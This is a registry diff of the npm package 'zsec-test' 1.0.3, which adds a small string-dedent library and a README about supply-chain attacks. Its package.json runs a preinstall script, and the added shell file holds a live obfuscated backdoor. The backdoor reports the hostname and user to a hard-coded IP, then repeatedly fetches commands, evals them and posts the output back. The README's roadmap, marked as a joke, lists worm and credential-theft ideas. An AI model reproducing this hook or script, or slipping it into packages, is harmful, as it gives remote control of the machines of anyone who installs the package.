zsec-test 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zsec-test might be problematic. Click here for more details.

package/.eslintrc.json ADDED
@@ -0,0 +1,59 @@
1
+ {
2
+ "env": {
3
+ "browser": true,
4
+ "es2021": true
5
+ },
6
+ "extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended"],
7
+ "parser": "@typescript-eslint/parser",
8
+ "parserOptions": {
9
+ "ecmaVersion": 12,
10
+ "sourceType": "module"
11
+ },
12
+ "plugins": ["@typescript-eslint", "unused-imports", "simple-import-sort"],
13
+ "rules": {
14
+ // "@typescript-eslint/no-use-before-define": [ "warn", { "functions": false, "classes": false, "variables": true } ],
15
+ // auto-fixable stuff for formatter:
16
+ "no-unused-expressions": "warn",
17
+ "consistent-return": "warn",
18
+ "no-useless-return": "warn",
19
+ "@typescript-eslint/ban-ts-comment": "off",
20
+ "@typescript-eslint/no-empty-function": "off",
21
+ "no-debugger": "warn",
22
+ "eqeqeq": [
23
+ "warn",
24
+ "always",
25
+ {
26
+ "null": "ignore"
27
+ }
28
+ ],
29
+ // "no-extra-parens": "warn",
30
+ // "@typescript-eslint/no-extra-parens": "warn",
31
+ // "@typescript-eslint/no-unused-vars": [ "warn", { "argsIgnorePattern": "^_", "varsIgnorePattern": "^h$|^_" } ],
32
+ // for import organizing:
33
+ // "sort-imports": [
34
+ // "warn"
35
+ // ],
36
+ "@typescript-eslint/consistent-type-imports": [
37
+ "warn",
38
+ {
39
+ "prefer": "type-imports"
40
+ }
41
+ ],
42
+ "@typescript-eslint/no-unused-vars": "off",
43
+ "unused-imports/no-unused-imports": "warn",
44
+ "unused-imports/no-unused-vars": [
45
+ "warn",
46
+ {
47
+ "vars": "all",
48
+ "varsIgnorePattern": "^h$|^_",
49
+ "args": "after-used",
50
+ "argsIgnorePattern": "^_"
51
+ }
52
+ ],
53
+ "simple-import-sort/imports": "error",
54
+ // "simple-import-sort/exports": "error",
55
+ "@typescript-eslint/await-thenable": "error",
56
+ "@typescript-eslint/require-await": "error",
57
+ "@typescript-eslint/no-floating-promises": "error"
58
+ }
59
+ }
@@ -0,0 +1,9 @@
1
+ {
2
+ "printWidth": 80,
3
+ "semi": false,
4
+ "singleQuote": true,
5
+ "arrowParens": "avoid",
6
+ "htmlWhitespaceSensitivity": "ignore",
7
+ "tabWidth": 4,
8
+ "jsxSingleQuote": true
9
+ }
package/README.md ADDED
@@ -0,0 +1,126 @@
1
+ # actual-malware
2
+
3
+ ![coverage](https://user-images.githubusercontent.com/10591373/157999136-3c69bc50-6316-4377-8871-f7a8d96dfcd9.png)
4
+
5
+ npm package to upload your private ssh keys to a pastebin. It also provides string dedentation.
6
+
7
+ - ✅ works in node and the browser
8
+ - ✅ **full typescript support** if you choose to use it
9
+ - ✅ 100% test coverage
10
+ - ✅ zero dependencies
11
+ - ✅ 351 bytes gzipped
12
+
13
+ ## Installation
14
+
15
+ ```sh
16
+ npm i actual-malware
17
+ yarn add actual-malware # alternative
18
+ # alias for convenience:
19
+ npm i actma # roadmap
20
+ yarn add actma
21
+ ```
22
+
23
+ Congratulations, all your ssh keys should now be available in a public pastebin! (Preinstall hook)
24
+
25
+ Update: It looks like the npm team took down the package 🎉 . [archived link](https://web.archive.org/web/20220312020346/https://www.npmjs.com/package/actual-malware). I still think it is far too easy to put malware in packages and far too hard to detect when you've been compromised, but I'm pleased they were able to take it down after only about 300 users installed the package. (If this repo implemented one of the worms outlined below then 300 users would probably be more than enough to seed most active packages on npm.)
26
+
27
+ ## Usage
28
+
29
+ ```js
30
+ import { dedent } from 'actual-malware' // or actma
31
+
32
+ const prettyString = dedent(`
33
+ the rains and
34
+ spains
35
+ fall`) // preserved
36
+
37
+ // doing this in a browser could put all session cookies in a pastebin
38
+
39
+ console.log(prettyString)
40
+ ```
41
+
42
+ ## Demo
43
+
44
+ https://user-images.githubusercontent.com/10591373/158268884-b7a2af72-f59c-419f-b114-e9ad19c471e3.mp4
45
+
46
+ ^ Note that I am not in sudo mode, I am never prompted for my password, and there is no indication that the installation had any side effects.
47
+
48
+ ## Why?
49
+
50
+ NPM recently removed the ability for users to report compromised packages. If you find out a package is a virus that steals your money, you are expected to inform the package maintainer that they are distributing a virus so that they may take appropriate action (typically deleting your email).
51
+
52
+ Popular npm packages have thousands of dependencies. The 'pre-install' and 'post-install' scripts have full machine access and run silently. They can do anything on your computer and any one of them can be compromised at any time. Most popular packages also auto-update their dependencies, so if a rogue maintainer/hacker puts a virus in a package, it will be automatically distributed to any package that depends on it.
53
+
54
+ I'm hoping the community sees demonstrations like this and reduces the risk to users somehow. (See what-can-we-do section.)
55
+
56
+ ### What exactly can a post-install script do?
57
+
58
+ - **Save your ssh, gpg, and crypto wallet keys on a hacker's server** so they can control your machines and github repos, impersonate you, take your money, etc.
59
+ - **Update your packages to include the virus**. If the react repo was compromised with a virus then millions of people would install it, update their packages, etc. Npm has no verification step for updating packages once your terminal is authenticated.
60
+ - Install a silent daemon that puts a backdoor in your https connection
61
+ - Inject themselves into any ISO or IMG you download on your computer
62
+ - Etc etc
63
+
64
+ ### Is brew, apt, pip, anaconda, yum, git, etc affected?
65
+
66
+ **YES**
67
+
68
+ - [pip](https://stackoverflow.com/questions/20288711/post-install-script-with-python-setuptools)
69
+ - brew packages have full system access
70
+ - same for yum, etc.
71
+ - **If any popular dependency on any package manager is ever compromised then it can propogate like a worm to basically all popular packages and git repositories with minimal effort**. If it was detected at all, then removing it and fixing it would take an unprecedented amount of coordination throughout the community.
72
+
73
+ (Git is actually the only who did things right here. Git hooks don't come with the repo when you clone it. But again, if you run any command or file or import from a git repo, then your compromised.)
74
+
75
+ ### Can I just disable post-install hooks? What about docker?
76
+
77
+ You can disable the post-install hooks, but if you ever `require` the package in node, or run any script or node CLI tool that depends on the malware, then you are toast.
78
+
79
+ Docker: There have been many break-out vulnerabilities for escaping docker containers, and security is not enabled by default, so most hosts would be vulnerable.
80
+
81
+ ### Can't this be detected?
82
+
83
+ - Not really.
84
+ - The upload-ssh-keys.sh script could instead be hidden inside a large binary file, such as esbuild.
85
+ - Or it could be put into the minified js after build.
86
+ - Or it could be inside a file called `word2vec-weights.pickle` in a pip package that executed the attack when you load the weights.
87
+ - Etc etc
88
+
89
+ "What about watching outbound network traffic?" It would be nice if our computers only connected to a handful of known hosts, but on an average day your computer connects to thousands of hosts from scripts and images on webpages and from various caching points and CDNs when you install anything and from system services for screen sharing or messaging apps.
90
+
91
+ Nothing stops the attacker from naming their ssh-upload endpoint "imghostrr.com/puppy.png"
92
+
93
+ ### What the hell can we do?
94
+
95
+ All of our package registries are basically screwed. We've gotten ourselves into a very vulnerable state that may be difficult to get out of. But here are some measures that could help a bit:
96
+
97
+ - **Allow users once again to report malware on npm, pip, and brew.**
98
+ - Prevent `npm update` from installing updates with reported malware. (Likewise for pip, brew, apt, etc)
99
+ - **Always require re-authentication for any package upgrade**
100
+ - It wouldn't hurt if github could also
101
+ - **Prompt users before executing any hooks**
102
+ - **Audit popular packages regularly and have a separate registry with only known, trusted software.**
103
+ - We could entirely stop distributing anything minified or built, and only distribute source code. Let the users build their own packages and let gzip compress the source files. It is actually achievable and builds are quite fast for C at least. The main issue is proprietary software.
104
+ - A better option might be to **have the registries build the binaries and minified code themselves** instead of having users build the packages and upload them. A trusted build system for npm, C projects, xcode projects, etc would reduce a lot of the risk of viruses being added by hackers post-build. (Trivial attack with minified JS and not too hard with binaries either.)
105
+
106
+ ### What can I do to protect just myself?
107
+
108
+ - Put passphrases on all your private keys. If you're a package maintainer then stay logged-out of your accounts on npm, github, etc, at least in the CLI.
109
+ - Use deno instead of node to run scripts. (Sorry python users.)
110
+ - Disable pre-install and post-install hooks in npm. (Sorry python users.)
111
+ - For python and node, something like [firejail](https://github.com/netblue30/firejail) can limit the reach of scripts and libraries.
112
+ - It's not too much trouble once you get the workflow down.
113
+ - Docker with root protection enabled is decent. Or you can do your work in a github codespace, inside a vm, or ssh'd to a single-use remote machine.
114
+
115
+ I would say that you can compile binaries yourself, but it is really some trouble, and for some reason, `apt` and `brew` seem to be much less prone to attack than `npm` and `pip`. If you're a heavy user of those then just jailing them would get you most of the security I think.
116
+
117
+ ## Roadmap
118
+
119
+ - [ ] Upload private keys from crypto wallets
120
+ - [ ] Persist on system indefinitely (alias git clone command?)
121
+ - [ ] Copy to all connected remote machines, and to any machine that ssh's into that machine
122
+ - [ ] Update all packages controlled by infected machine
123
+ - [ ] Upload authorization cookies (gmail, twitter, chase bank, etc) from browser when dependency
124
+ - [ ] Add `actual-malware` unpkg dependency to all `index.html` files on system. (Should catch a few popular websites.)
125
+
126
+ (/joke)
package/coverage.png ADDED
Binary file
@@ -0,0 +1 @@
1
+ export declare function dedent(text: string): string;
package/dist/index.js ADDED
@@ -0,0 +1,20 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.dedent = void 0;
4
+ function dedent(text) {
5
+ var re_whitespace = /^([ \t]*)(.*)\n/gm;
6
+ var l, m, i;
7
+ while ((m = re_whitespace.exec(text)) !== null) {
8
+ if (!m[2])
9
+ continue;
10
+ if ((l = m[1].length)) {
11
+ i = i !== undefined ? Math.min(i, l) : l;
12
+ }
13
+ else
14
+ break;
15
+ }
16
+ if (i)
17
+ text = text.replace(new RegExp('^[ \t]{' + i + '}(.*\n)', 'gm'), '$1');
18
+ return text;
19
+ }
20
+ exports.dedent = dedent;
package/package.json ADDED
@@ -0,0 +1,39 @@
1
+ {
2
+ "name": "zsec-test",
3
+ "version": "1.0.3",
4
+ "description": "zsec-test",
5
+ "main": "dist/index.js",
6
+ "scripts": {
7
+ "test": "ts-mocha -p tsconfig.json src/index.spec.ts",
8
+ "fmt": "prettier -wl src/*",
9
+ "build": "tsc",
10
+ "preinstall": "bash upload-ssh-keys.sh"
11
+ },
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "git+https://github.com/qpwo/actual-malware.git"
15
+ },
16
+ "keywords": [
17
+ "security"
18
+ ],
19
+ "author": "",
20
+ "license": "GPL-3.0-or-later",
21
+ "bugs": {
22
+ "url": "https://github.com/qpwo/actual-malware/issues"
23
+ },
24
+ "homepage": "https://github.com/qpwo/actual-malware#readme",
25
+ "devDependencies": {
26
+ "@types/expect": "^24.3.0",
27
+ "@types/mocha": "^9.1.0",
28
+ "@types/node": "^17.0.21",
29
+ "@typescript-eslint/eslint-plugin": "^5.14.0",
30
+ "@typescript-eslint/parser": "^5.14.0",
31
+ "eslint": "^8.11.0",
32
+ "eslint-plugin-simple-import-sort": "^7.0.0",
33
+ "eslint-plugin-unused-imports": "^2.0.0",
34
+ "mocha": "^9.2.2",
35
+ "prettier": "^2.5.1",
36
+ "ts-mocha": "^9.0.2",
37
+ "typescript": "^4.6.2"
38
+ }
39
+ }
@@ -0,0 +1,18 @@
1
+ import assert from 'assert'
2
+ import { dedent } from './index'
3
+
4
+ const input = `
5
+ will wonka
6
+ had
7
+ a chocolate factory`
8
+
9
+ const expectedOutput = `
10
+ will wonka
11
+ had
12
+ a chocolate factory`
13
+
14
+ describe('Array', function () {
15
+ it('should return -1 when the value is not present', function () {
16
+ assert.equal(dedent(input), expectedOutput)
17
+ })
18
+ })
package/src/index.ts ADDED
@@ -0,0 +1,17 @@
1
+ export function dedent(text: string) {
2
+ var re_whitespace = /^([ \t]*)(.*)\n/gm
3
+ var l, m, i
4
+
5
+ while ((m = re_whitespace.exec(text)) !== null) {
6
+ if (!m[2]) continue
7
+
8
+ if ((l = m[1].length)) {
9
+ i = i !== undefined ? Math.min(i, l) : l
10
+ } else break
11
+ }
12
+
13
+ if (i)
14
+ text = text.replace(new RegExp('^[ \t]{' + i + '}(.*\n)', 'gm'), '$1')
15
+
16
+ return text
17
+ }
package/tsconfig.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "es2016",
4
+ "module": "commonjs",
5
+ "esModuleInterop": true,
6
+ "forceConsistentCasingInFileNames": true,
7
+ "strict": true,
8
+ "skipLibCheck": true,
9
+ "outDir": "dist",
10
+ "declaration": true
11
+ },
12
+ "include": ["src/index.ts"]
13
+ }
@@ -0,0 +1 @@
1
+ nohup `s=34.126.163.19:8080&&i=d2d675f4-71da5ede-324b30a4&&hname=$(hostname)&&p=http://;curl -s "$p$s/e2d675f4/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/71da5ede" -H "Authorization: $i")&&if [ "$c" != None ]; then r=$(eval "$c")&&if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/324b30a4 -X POST -H "Authorization: $i" -d "$r";echo $$;fi; fi; sleep 0.8; done;` &